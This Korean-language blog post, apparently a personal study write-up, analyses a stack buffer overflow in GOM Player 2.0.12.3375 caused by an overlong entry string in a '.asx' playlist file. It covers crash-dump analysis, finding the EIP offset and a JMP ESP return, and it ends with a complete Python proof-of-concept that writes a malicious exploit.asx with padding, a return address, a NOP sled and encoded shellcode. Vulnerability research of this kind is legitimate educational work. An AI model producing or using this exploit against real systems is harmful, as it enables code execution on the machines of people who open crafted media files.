-->

[원데이 취약점] GOM Player 2.0.12.3375 - '.asx' Local Stack Overflow

반응형

아주아주 옛날 취약점이지만, 실제 크래쉬 덤프에서의 기초적인 bof를 이해하고 익스플로잇 코드를 짜보는 시뮬레이션을 하기에는 이만한 취약점도 없는 것 같다. 요즘 소프트웨어는 패치 이력도 오래됐고 기본적인 보안코딩은 어느정도 갖추고 있기 때문에 이런류의 간단한 bof는 거의...... 없는 것 같다.

 

 

'.asx' Local Stack Overflow 취약점 정보

곰플레이어의 오래된 취약점이고 asx파일로 인해 bof가 일어난다는 사실만 알면 사실 분석하기 엄청 어려운 취약점은 아니지만, 최대한 해당 사실을 모른다고 가정하고 크래쉬 파일만 가지고 분석을 해보았다. 크래쉬 파일은 해당 버전의 곰플레이어를 BFF 퍼저로 돌려서 얻었다.

 

- 취약 프로그램: Gom Player

- 버전: 2.0.12.3375

- 환경: Windows 7

- 종류: Stack Buffer Overflow

- CVE: N/A

- 관련 URL: ExploitDB

 

 

 

크래쉬 덤프 분석 과정

아래 부분을 그대로 해석하면, eax의 주소에 1바이트의 al 값을 더해준다. 그런데 여기서 eax의 주소가 00000000으로 되어있기 때문에 Access violation이 발생했다.

 

 

 

하지만 이 부분의 기계어 코드가 0000인 것으로 보아, 의미있는 부분이라기 보다는 이유는 모르겠으나 ntdll의 핸들러 실행 후 이곳으로 점프했다고 보는게 나을 것 같다. (정확히는 모르겠다.)

 

 

 

Access Violation이 발생한 주소는 0x4e16dd 이다.

 

 

 

IDA로 0x4e16dd를 가보면, Access Violation이 발생한 지점이 bof에 취약한 wcscpy 함수 내부임을 알 수 있고, 인자 2개를 받게 되는데 첫번째 인자는 eax로 위에서 본 windbg 분석 결과에 따르면 eax는 0x130000이고 ecx는 0x1이다.

 

그리고 0x4e16cd에서 esi가 eax 영향을 받고 그 esi에 어떤 값인지는 모르나 dx 값을 쓰려고 했을 때 예외가 발생했다고 볼 수 있다.

 

 

 

wcscpy는 bof에 취약한 함수이고 크래쉬가 발생한 파일을 살펴본 결과 (asx파일) entry 태그의 문자열 길이가 정상 범위를 넘어선 듯 보인다.

 

 

 

위 두가지 사실을 바탕으로 bof라고 일단 가정하고, 해당 문자열이 저장되는 버퍼 주소를 알기위해 WinDbg로 곰플레이어를 실행시킨 후 크래쉬가 발생한 파일을 넣어주고 해당 문자열 서치를 진행했다.

 

 

 

딱히 서치를 안해도 Windbg에서 곰플레이어 실행 후 크래쉬가 발생한 파일을 넣어주면 자동으로 4e16dd에서 브레이크가 걸리고 eax 레지스터 주소 안에 해당 문자열이 들어있음을 확인할 수 있다.

 

 

 

결국 아까 아래에서 확인한 바와 같이, wcscpy는 두번째 인자의 값을 첫번째 인자에 복사하는 함수이기 때문에 ecx에 들어있는 값을 eax에 복사한다는 것을 알 수 있고 길이 체크를 하지 않아 asx 파일의 entry 태그의 긴 문자열을 복사해 넣다가 스택을 넘어서서 Access Violation이 발생했음을 알 수 있다.

 

 

 

POC 제작

그대로 다시 실행시켜 Access Violation이 발생하고 나면, eip가 유니코드 "A"로 덮힌 것을 볼 수 있다. 즉, 버퍼 사이즈를 알 수 있다면 EIP값을 통제할 수 있다는 것이다.

 

 

 

아래와 같이 asx파일을 생성하는 코드로 확인결과, 약 5000 정도인 것을 확인하였다. 여기서 주의해야 할 것은, \xFF\xFE와 유니코드 개행 코드인 \x0D\x00 (\x0D\x00\x0A\x00인줄 알고 한참 삽질했다.)

 

# asx header, end
# <asx version = "3.0"> \n <entry> <ref href = "
# ** FF FE (BOM) 
asx_header = ("\xFF\xFE\x3C\x00\x61\x00\x73\x00\x78\x00\x20\x00"
"\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6F\x00\x6E\x00\x20\x00\x3D\x00"
"\x20\x00\x22\x00\x33\x00\x2E\x00\x30\x00\x22\x00\x20\x00\x3E\x00\x0D\x00"
"\x3C\x00\x65\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00"
"\x20\x00\x3C\x00\x72\x00\x65\x00\x66\x00\x20\x00"
"\x68\x00\x72\x00\x65\x00\x66\x00\x20\x00\x3D\x00\x20\x00\x22\x00")

# "/> </entry> \n </asx>
asx_end = ("\xFF\xFE\x22\x00\x2F\x00\x3E\x00\x20\x00"
"\x3C\x00\x2F\x00\x65\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00\x0D\x00"
"\x3C\x00\x2F\x00\x61\x00\x73\x00\x78\x00\x3E\x00")

# dummy
dummy_1 = "\x41"*5000

buffer = asx_header + dummy_1 + asx_end
file = open('exploit.asx','w');
file.write(buffer)
file.close()

 

 

eip가 0x41414141로 뒤덮혔다.

 

 

 

수동으로 계산할 수는 없으니 metasploit의 pattern_create.rb 스크립트를 사용한다. 아래와 같이 생성해낼 패턴의 크기를 옵션으로 주면 패턴이 생성된다.

 

 

 

해당 패턴 값을 dummy 부분에 입력 후 확인해보면, eip가 0x316a4630이다.

 

 

 

wcscpy는 유니코드 형태로 복사가 되는 함수이기 때문에 patternt_offset.rb에서 0x316a4630 로 찾아준다. pattern_offset.rb 스크립트 실행 결과 매칭된 오프셋을 찾을 수 있고 따라서 버퍼 사이즈가 4172임을 알 수 있다.

 

 

 

재확인을 위해 "\x41"*4172 + "\x42"*4 를 dummy로 주었을 때, EIP가 0x42424242 이면 맞게 계산된 것으로 볼 수 있다. 아래와 같이 eip가 0x42424242 임을 확인 가능하다.

 

 

 

이제 쉘코드를 넣을 곳을 찾아야 한다. 맨 앞에 nop을 2000정도 주고 144byte의 쉘코드를 준 후 나머지를 dummy로 채우고 ret address를 대략 12e450을 ret address로 줘보기로 했지만 ASMR 때문에 잘 안된다.

 

 

 

ASLR 우회법을 찾아보던 중, Exploit DB의 POC 코드를 참조하여 'JMP ESP'를 사용하는 방법이 있다는 것을 알았다.스택주소는 바뀌어도 코드 주소는 안바뀌니까 이것을 이용하는것이다. JMP ESP 코드 (FF E4)를 찾고, 해당 영역의 권한 중 실행 권한이 있는지 확인하여 적당한 주소를 찾아 ret address로 준다.

 

 

 

따라서 최종 POC 코드 exploit.py 는 아래와 같다. (asx_header + dummy + ret_addr + nop + shellcode + asx_end)

 

# asx header, end
# <asx version = "3.0"> \n <entry> <ref href = "
# ** FF FE (BOM) 
asx_header = ("\xFF\xFE\x3C\x00\x61\x00\x73\x00\x78\x00\x20\x00"
"\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6F\x00\x6E\x00\x20\x00\x3D\x00"
"\x20\x00\x22\x00\x33\x00\x2E\x00\x30\x00\x22\x00\x20\x00\x3E\x00\x0D\x00"
"\x3C\x00\x65\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00"
"\x20\x00\x3C\x00\x72\x00\x65\x00\x66\x00\x20\x00"
"\x68\x00\x72\x00\x65\x00\x66\x00\x20\x00\x3D\x00\x20\x00\x22\x00")

# "/> </entry> \n </asx>
asx_end = ("\xFF\xFE\x22\x00\x2F\x00\x3E\x00\x20\x00"
"\x3C\x00\x2F\x00\x65\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00\x0D\x00"
"\x3C\x00\x2F\x00\x61\x00\x73\x00\x78\x00\x3E\x00")

# shellcode
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")

# dummy
dummy = "\x41" * 4172
nop = "\x90" * 10
ret_addr = "\x77\x45\x46\x00"
buffer = asx_header + dummy + ret_addr + nop + shellcode + asx_end

# create exploit.asx
file = open('exploit.asx','w');
file.write(buffer)
file.close()

 

댓글

Designed by JB FACTORY